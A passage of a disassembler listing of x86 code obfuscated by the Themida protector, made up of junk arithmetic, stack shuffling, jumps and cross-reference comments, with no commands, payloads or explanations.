; END OF FUNCTION CHUNK	FOR sub_5A1340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_5A586F:				; CODE XREF: sub_5A17D6+B82Fj
		mov	ecx, esp
		jmp	loc_5A5145
; END OF FUNCTION CHUNK	FOR sub_5A17D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A34FD


loc_5A5876:				; CODE XREF: sub_5A34FD-49F4j
					; Themida_:005AB128j
		mov	al, 0CCh
		mov	dh, al
		mov	eax, [esp+4+var_4]
		add	esp, 4
		add	bl, 0EAh
		sub	bl, dh
		sub	bl, 0EAh
		pop	dx
		jmp	loc_598947
; END OF FUNCTION CHUNK	FOR sub_5A34FD
; ---------------------------------------------------------------------------


loc_5A5892:				; CODE XREF: Themida_:00599A9Bj
		push	dword ptr [esp]
		jmp	loc_59FC73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A589A:				; CODE XREF: sub_59D99C+B440j
		add	eax, 662D4D2Ah
		add	eax, 3375E11h
		add	eax, ebx
		push	edx
		jmp	sub_59FFBE
; END OF FUNCTION CHUNK	FOR sub_59D99C

; =============== S U B	R O U T	I N E =======================================



sub_5A58AC	proc near		; DATA XREF: Themida_:00597AB4o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00599F71 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059BDD8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E633 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059F53B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A0AEE SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005A14EF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A2194 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A2323 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A454B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A57E0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A5B23 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A67D8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A7223 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A8C71 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AA06D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AB030 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AC435 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AE2D0 SIZE 0000000E BYTES

		mov	cx, [esp+0]
		push	1DB6h
		mov	[esp+4+var_4], edi
		push	esp
		jmp	loc_5AE2D0
sub_5A58AC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A879C


loc_5A58BE:				; CODE XREF: sub_5A879C+2FDj
		pop	ebx
		jmp	loc_5AB69C
; END OF FUNCTION CHUNK	FOR sub_5A879C
; ---------------------------------------------------------------------------


loc_5A58C4:				; CODE XREF: Themida_:0059A12Fj
		mov	ebp, esp
		jmp	loc_5A7D25
; ---------------------------------------------------------------------------


loc_5A58CB:				; CODE XREF: Themida_:0059CD7Fj
		mov	eax, [esp]
		jmp	loc_59EAC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A58D3:				; CODE XREF: sub_5A8D43-6CCAj
		add	edx, 4
		jmp	loc_59855D
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_5A58DB:				; CODE XREF: Themida_:005AE045j
		mov	eax, 4
		add	esi, eax
		jmp	loc_5A130E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5A58E7:				; CODE XREF: sub_59A932-224j
		jg	loc_5A20CC
		inc	ebp
		jmp	loc_5A78D9
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
		xor	dh, 6Dh
		mov	ch, 48h
		mov	bl, bl
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A58FA:				; CODE XREF: sub_5AC95F-ADD4j
		mov	dl, 21h
		add	bl, 41h
		sub	bl, dl
		push	ax
		mov	al, 41h
		sub	bl, al
		pop	ax
		mov	dx, word ptr [esp-16h+arg_10+2]
		add	esp, 2
		movzx	eax, al
		mov	dx, word ptr [esp-1Ah+arg_14+2]
		push	0D80h
		mov	[esp-16h+arg_10+2], edx
		push	2D6Dh
		jmp	loc_59841E
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_59F590
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A5932:				; CODE XREF: sub_5A8C33-17F9j
		push	ecx
		mov	ecx, 12D060FCh
		sub	eax, 3EF255EBh
		jmp	loc_597E0B
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_5A5942:				; CODE XREF: sub_5A28BE+4C6Dj
		xchg	esi, [esp+4+var_4]
		pop	esp
		jmp	loc_5AC4BF
; END OF FUNCTION CHUNK	FOR sub_5A28BE

; =============== S U B	R O U T	I N E =======================================



sub_5A594B	proc near		; CODE XREF: sub_5A1B2A-67A5j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059AE41 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059C009 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059DBB7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A4100 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005ACD92 SIZE 00000024 BYTES

		push	ebp
		mov	ebp, 707536A0h
		shl	ebp, 6
		shl	ebp, 5
		xor	ebp, 71B36B98h
		sub	ebp, 2B121CB8h
		inc	ebp
		add	ebp, 92D1BECAh
		mov	ebx, ebp
		pop	ebp
		add	ebx, 33235043h
		push	esi
		mov	esi, 63DC69D8h
		and	esi, 3EA86799h
		jmp	loc_59C009
sub_5A594B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A5984:				; CODE XREF: sub_5ACD64-12D0Fj
		pop	edi
		jmp	loc_5AD6E3
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A598A:				; CODE XREF: sub_5A484D:loc_59C8D6j
					; sub_5A600F-381Aj
		xor	dh, 0C8h
		jmp	loc_59D339
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A5992:				; CODE XREF: sub_59CA4A+5C38j
		mov	[esp+4+var_4], esi
		jmp	loc_5AEC37
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A599A:				; CODE XREF: sub_59D99C+E96j
					; sub_5A7BD2+Bj
		push	edi
		mov	edi, 0
		sub	edi, esi
		xchg	edi, esi
		mov	edi, [esp+0]
		add	esp, 4
		sub	esi, 393D144Fh
		jp	loc_5A641F
		dec	esi
		js	loc_5ABA57
		push	eax
		jmp	loc_5AE99D
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		mov	bh, 55h


loc_5A59CC:				; CODE XREF: Themida_:0059F9F9j
		push	ecx
		mov	ecx, 4
		sub	ebx, ecx
		jmp	loc_59EFD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3B73


loc_5A59D9:				; CODE XREF: sub_5A3B73+8AE2j
		pop	edi
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	[esp-4+arg_0]
		mov	eax, [esp+0]
		jmp	sub_5A989A
; END OF FUNCTION CHUNK	FOR sub_5A3B73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D5B


loc_5A59EB:				; CODE XREF: sub_599D5B+11075j
		mov	ebp, [esp+0]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+4+var_4]
		jmp	loc_59D6C1
; END OF FUNCTION CHUNK	FOR sub_599D5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_5A5A05:				; CODE XREF: sub_5A28BE+4A22j
		push	dword ptr [esp+0]
		jmp	loc_59B7FB
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A5A0D:				; CODE XREF: sub_5AC95F-6499j
		push	3591h
		mov	[esp-0Eh+arg_8+2], ebp
		push	ebx
		push	57796B5Bh
		pop	ebx
		push	esi
		mov	esi, 34464599h
		sub	esi, 5B430843h
		not	esi
		neg	esi
		jmp	loc_59D53C
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5A5A31:				; CODE XREF: Themida_:0059F5ABj
		dec	ecx
		jnp	loc_5982D3
		neg	ecx
		jmp	loc_598BCC
; ---------------------------------------------------------------------------


loc_5A5A3F:				; CODE XREF: Themida_:005AABF9j
		push	6CBFh
		mov	[esp], ecx
		add	dword ptr [esp], 30DE1CBAh
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 30DE1CBAh
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		cmp	ecx, eax
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------


loc_5A5A80:				; CODE XREF: Themida_:005A4F24j
		pop	ebp
		shr	ebp, 3
		inc	ebp
		push	ebp
		not	dword ptr [esp]
		jmp	loc_5A0DAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE919


loc_5A5A8E:				; CODE XREF: sub_5AE919-16953j
		dec	ebx
		jmp	loc_59C1AA
; END OF FUNCTION CHUNK	FOR sub_5AE919
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CD12


loc_5A5A94:				; CODE XREF: sub_59CD12+72D4j
		sub	ebx, 8942FAh
		add	edi, ebx
		pop	ebx
		jmp	loc_5A4D10
; END OF FUNCTION CHUNK	FOR sub_59CD12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9228


loc_5A5AA2:				; CODE XREF: sub_5A9228-7114j
		jmp	loc_59C0B2
; END OF FUNCTION CHUNK	FOR sub_5A9228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAA81


loc_5A5AA7:				; CODE XREF: sub_5AAA81-F03Bj
		mov	[esp+0], eax
		mov	eax, 40806741h
		push	ebp
		jmp	loc_5A0124
; END OF FUNCTION CHUNK	FOR sub_5AAA81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5A5AB5:				; CODE XREF: Themida_:005A0968j
					; sub_5AEE2E-6929j
		sub	cl, 0EFh
		add	cl, ah
		add	cl, 0EFh
		push	dword ptr [esp+0]
		mov	eax, [esp+0]
		add	esp, 4
		add	esp, 4
		sub	dh, cl
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_5AE35A
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2C8


loc_5A5ADC:				; CODE XREF: sub_59F2C8+60D0j
		mov	edi, 205DECC2h
		sub	eax, edi
		jmp	loc_5A28C6
; END OF FUNCTION CHUNK	FOR sub_59F2C8
; ---------------------------------------------------------------------------


loc_5A5AE8:				; CODE XREF: Themida_:005A8541j
		push	edi
		jmp	loc_5AEE34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A5AEE:				; CODE XREF: sub_5ACD64+1464j
		push	ecx
		mov	ecx, esp
		push	esi
		push	ecx
		mov	ecx, 7ECB3D58h
		push	edx
		mov	edx, 172B39B5h
		mov	esi, 9CED35BFh
		xor	esi, edx
		pop	edx
		jmp	loc_597F6B
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------


loc_5A5B0B:				; CODE XREF: Themida_:0059A8AFj
		mov	ebx, 58ED1B3Eh
		shr	ebx, 7
		jmp	loc_5A1AAE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5A5B18:				; CODE XREF: sub_59C53B+FAC6j
		push	0D451FA7h
		pop	ecx
		jmp	loc_5A6F3E
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A58AC


loc_5A5B23:				; CODE XREF: sub_5A58AC+6B90j
		mov	ebp, 7DE1DAA4h
		sub	eax, ebp
		jmp	loc_5A57E0
; END OF FUNCTION CHUNK	FOR sub_5A58AC
; ---------------------------------------------------------------------------


loc_5A5B2F:				; CODE XREF: Themida_:005AADEEj
		dec	ecx
		jg	loc_5A7DB3
		shl	ecx, 7
		xor	ecx, 33CC4D02h
		pop	edi
; START	OF FUNCTION CHUNK FOR sub_5A34FD


loc_5A5B40:				; CODE XREF: sub_5A34FD-90D0j
		add	bh, dl
		pop	dx
		jmp	loc_5A4169
; END OF FUNCTION CHUNK	FOR sub_5A34FD
; ---------------------------------------------------------------------------


loc_5A5B49:				; CODE XREF: Themida_:005A0695j
		dec	eax
		or	eax, 12B6E90h
		shl	eax, 5
		push	eax
		not	dword ptr [esp]
		pop	eax
		shr	eax, 3
		add	eax, 0E5EDFB69h
		sub	ebx, 6B6D0493h
		push	ecx
		mov	ecx, 0CDA7938h
		and	ecx, 4EB43DE8h
		inc	ecx
		and	ecx, 14E3232Dh
		jmp	loc_59C656
; ---------------------------------------------------------------------------


loc_5A5B7D:				; CODE XREF: Themida_:005AE7B3j
		mov	[esp], edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		push	eax
		mov	eax, 4
		jmp	loc_5AE39E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5A5BA5:				; CODE XREF: sub_597F0C+11E3Dj
					; sub_5A3F42+6FC2j
		mov	edx, 4
		sub	eax, edx
		jmp	loc_5A21DE
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A5BB1:				; CODE XREF: sub_5A600F-2096j
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		xchg	eax, [esp+14h+var_14]
		pop	esp
		sub	esp, 2
		mov	word ptr [esp+14h+var_14], di
		push	small word ptr [esp+14h+var_14+2]
		jmp	loc_5A2E25
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		jmp	loc_5A1397
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A5BDA:				; CODE XREF: sub_599059+D15Ej
		pop	dword ptr [esp+0]
		push	30B3h
		mov	[esp+0], edi
		jmp	loc_5A1532
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------


loc_5A5BEA:				; CODE XREF: Themida_:005A17C3j
		shr	ebp, 3
		jmp	loc_5A6A28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_5A5BF2:				; CODE XREF: sub_59EE40+4A47j
		mov	esi, 0E5351B8Ch
		xor	ebp, esi
		pop	esi
		push	ebp
		xor	[esp+10h+var_10], 20994E8Dh
		jmp	loc_59BF21
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB1B9


loc_5A5C07:				; CODE XREF: sub_5AB1B9-4209j
		sub	ebp, 10814005h
		xor	ebp, 6CC631F6h
		sub	edi, ebp
		push	[esp+0Ch+var_C]
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+10h+var_10]
		pop	esp
		pop	esi
		xchg	edi, [esp+8+var_8]
		pop	esp
		add	[esp+4+var_4], eax
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5AB1B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A5C37:				; CODE XREF: sub_5A8C33-4FD0j
		push	eax
		mov	eax, 75E91FE0h
		sub	edx, eax
		mov	eax, [esp+0]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_599F48
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A5C53:				; CODE XREF: sub_5A8D43-40BDj
		mov	edi, [esp+0]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A5024
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_5A5C6A:				; CODE XREF: sub_5A28BE+3B3Ej
		shr	eax, 2
		jmp	loc_59C7AB
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A5C72:				; CODE XREF: sub_59CA4A-2C16j
		shr	ebp, 8
		and	ebp, 4F2171F6h
		push	esi
		mov	esi, 7AB441DCh
		and	esi, 0C6F6051h
		sub	esi, 5EC97ADAh
		dec	esi
		push	ecx
		jmp	loc_5A7F51
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A438E


loc_5A5C94:				; CODE XREF: sub_5A438E:loc_5A45CAj
					; Themida_:005AA2F9j
		add	[esp+10h+var_C], edx
		jmp	loc_5AA2A6
; END OF FUNCTION CHUNK	FOR sub_5A438E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6DA1


loc_5A5C9D:				; CODE XREF: sub_5A6DA1+6j
		mov	esi, 6335A2CCh
		jmp	loc_59C0F8
; END OF FUNCTION CHUNK	FOR sub_5A6DA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5A5CA7:				; CODE XREF: sub_5AB3DC:loc_599BD1j
		xor	edx, 7D1EF65Bh
		sub	edi, 5EA6771Bh
		sub	edi, edx
		jmp	loc_59F22C
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A5CBA:				; CODE XREF: sub_599059+3F07j
		add	esp, 4
		add	bl, 28h
		sub	bl, al
		push	eax
		mov	al, 0DCh
		push	ecx
		mov	ch, 3Bh
		or	al, ch
		mov	ecx, [esp+0]
		jmp	loc_5AC339
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599526


loc_5A5CD2:				; CODE XREF: sub_599526+4A4Cj
		pop	edi
		jmp	loc_5ACC57
; END OF FUNCTION CHUNK	FOR sub_599526
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A5CD8:				; CODE XREF: sub_5AC95F:loc_59A790j
					; sub_5A8C33+BAFj
		xor	cl, 0F6h
		sub	al, cl
		jmp	loc_59DFFE
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A5CE2:				; CODE XREF: sub_59CA4A+11039j
		sub	edi, 668517E0h
		jmp	loc_5AE564
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EB21


loc_5A5CED:				; CODE XREF: sub_59EB21+CE65j
		push	7C1Fh
		mov	[esp-10h+arg_C], edx
		sub	esp, 4
		mov	[esp-0Ch+arg_8], eax
		jmp	sub_5A5509
; END OF FUNCTION CHUNK	FOR sub_59EB21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_5A5D03:				; CODE XREF: sub_597C68+7B79j
		jmp	loc_5A8FD3
; END OF FUNCTION CHUNK	FOR sub_597C68
; ---------------------------------------------------------------------------


loc_5A5D08:				; CODE XREF: Themida_:00599A6Fj
		add	ebx, 217438F8h
		ja	loc_59E7D9
		push	eax
		jmp	loc_59B600
; ---------------------------------------------------------------------------
		mov	[esp], eax
		push	ecx
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A5D1E:				; CODE XREF: sub_59CA4A+6324j
		xchg	eax, [esp-4+arg_0]
		pop	esp
		pop	[esp-8+arg_4]
		mov	esp, [esp-0Ch+arg_8]
		jmp	loc_5983E1
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D180


loc_5A5D2D:				; CODE XREF: sub_59D180+90DBj
		mov	edx, [esp+8+var_8]
		jmp	loc_5AD794
; END OF FUNCTION CHUNK	FOR sub_59D180
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A5D35:				; CODE XREF: sub_59B707+5B7Cj
					; sub_5A1B2A+CEE2j
		push	edx
		mov	edx, 1FD15B96h
		add	edx, 1DC823B7h
		jmp	loc_5AB266
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A5D46:				; CODE XREF: sub_5AC95F+15F9j
		pop	edx
		xor	ebx, 83678h
		jbe	loc_5A2FEE
		not	ebx
		dec	ebx
		jno	loc_59EC9F
		push	ecx
		mov	ecx, 1362477Ah
		push	eax
		mov	eax, 19FA0D4Dh
		push	esp


loc_5A5D69:				; CODE XREF: sub_597F0C+168F2j
		pop	dx
		sub	al, cl
		add	al, 51h
		pop	cx
		add	al, 61h
		add	al, bl
		push	ecx
		jmp	loc_59F815
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5A5D7B:				; CODE XREF: Themida_:loc_5AAB50j
		neg	eax
		jns	loc_5AD97E
		sub	eax, 0F4FDCF70h
		jmp	loc_59F2E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E1B6


loc_5A5D8D:				; CODE XREF: sub_59E1B6-3389j
		mov	ebx, 0C2D4D3B8h
		mov	esi, ebx
		pop	ebx
		add	esi, ecx
		pop	ecx
		add	eax, esi
		jmp	loc_59E565
; END OF FUNCTION CHUNK	FOR sub_59E1B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3B73


loc_5A5D9F:				; CODE XREF: sub_5A3B73-B039j
		push	5866h
		mov	[esp+0], ebp
		push	esi
		push	4682165Ah
		pop	esi
		sub	esi, 0EEF0D089h
		sub	esp, 4
		mov	[esp+0], esi
		jmp	loc_59D912
; END OF FUNCTION CHUNK	FOR sub_5A3B73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA500


loc_5A5DC2:				; CODE XREF: sub_5AA500-11AA2j
		shl	dh, 3
		js	loc_5AADF3
		push	eax
		mov	ah, 3Ch
		sub	ah, 2Ch
		xor	dh, ah
		mov	eax, [esp+4+var_4]
		mov	edx, ebx
; END OF FUNCTION CHUNK	FOR sub_5AA500
; START	OF FUNCTION CHUNK FOR sub_59FDC7


loc_5A5DD8:				; CODE XREF: sub_59FDC7-7737j
		sub	ebx, 0C62973F9h
		add	edi, ebx
		pop	ebx
		mov	ebp, edi
		jmp	loc_597D39
; END OF FUNCTION CHUNK	FOR sub_59FDC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7C98


loc_5A5DE8:				; CODE XREF: sub_5A7C98-1736j
		add	ebp, edi
		pop	edi
		jmp	loc_59BEDD
; END OF FUNCTION CHUNK	FOR sub_5A7C98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A5DF0:				; CODE XREF: sub_59D99C+FDABj
		add	ebx, ebp
		pop	ebp
		sub	ecx, ebx
		jmp	loc_5A863D
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A5DFA:				; CODE XREF: sub_5A8C33-5B7Bj
		or	eax, eax
		jz	loc_598F63
		push	dword ptr [edi+28h]
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 39510675h
		and	ebx, 1E023EA1h
		jmp	loc_5A6662
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_5A5E1B:				; CODE XREF: sub_5ABF4A-DC2Ej
		mov	ecx, 7250E59Dh
		mov	esi, ecx
		push	[esp-4+arg_0]
		pop	ecx
		add	esp, 4
		sub	esi, edi
		pop	edi
		xor	esi, 0EBB884B2h
		add	eax, esi
		push	[esp-0Ch+arg_8]
		mov	esi, [esp-8+arg_4]
		add	esp, 4
		push	ebp
		jmp	loc_5A0AD6
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_5A5E46:				; CODE XREF: sub_5A0F44+1F49j
		push	eax
		mov	eax, 53B8787Ah
		mov	edi, 53B87878h
		xor	edi, eax
		pop	eax
		add	ebp, 6F2D6FA5h
		add	ebp, edi
		jmp	loc_5A1C13
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------


loc_5A5E61:				; CODE XREF: Themida_:0059EFD9j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 495F5E2Bh
		jmp	loc_5AAB45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE52


loc_5A5E81:				; CODE XREF: sub_5ABE52-12BAFj
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	26Ch
		mov	[esp+0], esi
		push	ebx
		push	73E477B0h
		push	[esp+8+var_8]
		pop	ebx
		add	esp, 4
		push	ebp
		mov	ebp, 0AD91C89h
		and	ebx, ebp
		pop	ebp
		jmp	loc_59F469
; END OF FUNCTION CHUNK	FOR sub_5ABE52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB72D


loc_5A5EAE:				; CODE XREF: sub_5AB72D+8j
		pop	ebx
		add	ebx, edx
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_5ACC29
; END OF FUNCTION CHUNK	FOR sub_5AB72D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A484D


loc_5A5EBF:				; CODE XREF: sub_5A484D:loc_5A3CD1j
		sub	ebp, 0A814A602h
		add	ecx, ebp
		pop	ebp
		xor	ebp, ecx
		pop	ecx
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp+0]
		pop	esp
		sub	esp, 4
		jmp	loc_5AD65B
; END OF FUNCTION CHUNK	FOR sub_5A484D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB72D


loc_5A5EDD:				; CODE XREF: sub_5AB72D+150Dj
		mov	esi, 20382A15h
		shl	esi, 4
		jmp	loc_5A3EB4
; END OF FUNCTION CHUNK	FOR sub_5AB72D
; ---------------------------------------------------------------------------


loc_5A5EEA:				; CODE XREF: Themida_:005A7698j
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_5A6EEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACCE


loc_5A5EF9:				; CODE XREF: sub_59ACCE+BCAAj
		sub	eax, 34436778h
		xor	eax, 2E203B21h
		xor	eax, 4E5C1BBFh
		or	edi, eax
		jmp	loc_5AA8CC
; END OF FUNCTION CHUNK	FOR sub_59ACCE
; ---------------------------------------------------------------------------


loc_5A5F0F:				; CODE XREF: Themida_:005AECF5j
		sub	ebp, 5E2C67BCh
		xor	ebp, 512D9C12h
		or	esi, ebp
		pop	ebp
		jmp	loc_599218
; ---------------------------------------------------------------------------


loc_5A5F23:				; CODE XREF: Themida_:005A75FEj
		sub	ebp, 6251589h
		jmp	loc_5A82D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A5F2E:				; CODE XREF: sub_5A8D43+2F61j
		dec	esi
		sub	esi, 3E286959h
		sub	ecx, esi
		pop	esi
		xchg	ecx, [esp+16h+var_18+2]
		pop	esp
		jmp	loc_5A8E84
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A5F41:				; CODE XREF: sub_59A03D+F80Cj
					; sub_5AC95F-84Dj
		push	[esp-4+arg_0]
		jmp	loc_5ACAB8
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5A5F49:				; CODE XREF: Themida_:0059D9C9j
